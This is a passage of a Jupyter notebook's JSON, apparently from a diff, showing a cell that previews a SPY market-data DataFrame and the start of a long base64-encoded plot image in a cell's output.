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" + }, + "metadata": {}, + "execution_count": 4 + } + ], + "source": [ + "df_spy.head()" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "metadata": {}, + "outputs": [ + { + "output_type": "display_data", + "data": { + "text/plain": "
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